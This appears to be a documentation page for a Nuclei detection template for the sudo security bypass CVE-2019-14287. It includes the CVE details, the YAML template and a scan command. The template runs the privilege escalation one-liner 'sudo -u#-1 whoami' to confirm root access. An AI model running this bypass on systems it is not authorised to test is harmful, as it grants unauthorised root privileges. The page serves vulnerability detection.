Sudo <= 1.8.27 - Security Bypass
ID: CVE-2019-14287
Severity: high
Author: daffainfo
Tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project
Description
Section titled “Description”In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a “sudo -u \#$((0xffffffff))” command.
YAML Source
Section titled “YAML Source”id: CVE-2019-14287
info: name: Sudo <= 1.8.27 - Security Bypass author: daffainfo severity: high description: | In Sudo before 1.8.28, an attacker with access to a Runas ALL sudoer account can bypass certain policy blacklists and session PAM modules, and can cause incorrect logging, by invoking sudo with a crafted user ID. For example, this allows bypass of !root configuration, and USER= logging, for a "sudo -u \#$((0xffffffff))" command. reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287 - https://www.exploit-db.com/exploits/47502 - http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00042.html - http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00047.html - http://packetstormsecurity.com/files/154853/Slackware-Security-Advisory-sudo-Updates.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2019-14287 cwe-id: CWE-755 epss-score: 0.30814 epss-percentile: 0.96854 cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: sudo_project product: sudo tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project
self-contained: truecode: - engine: - sh - bash source: | whoami
- engine: - sh - bash source: | sudo -u#-1 whoami
matchers: - type: dsl dsl: - '!contains(code_1_response, "root")' - 'contains(code_2_response, "root")' condition: and# digest: 490a00463044022100b66bc431046c222bdbdf17c5c6b5c9743d91f902f877967c4434d46ff44bf79c021f498f3f2a5efedc922b9a142b06d7578ca7f5c9413b964c46a676b14d2f4dfa:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "code/cves/2019/CVE-2019-14287.yaml"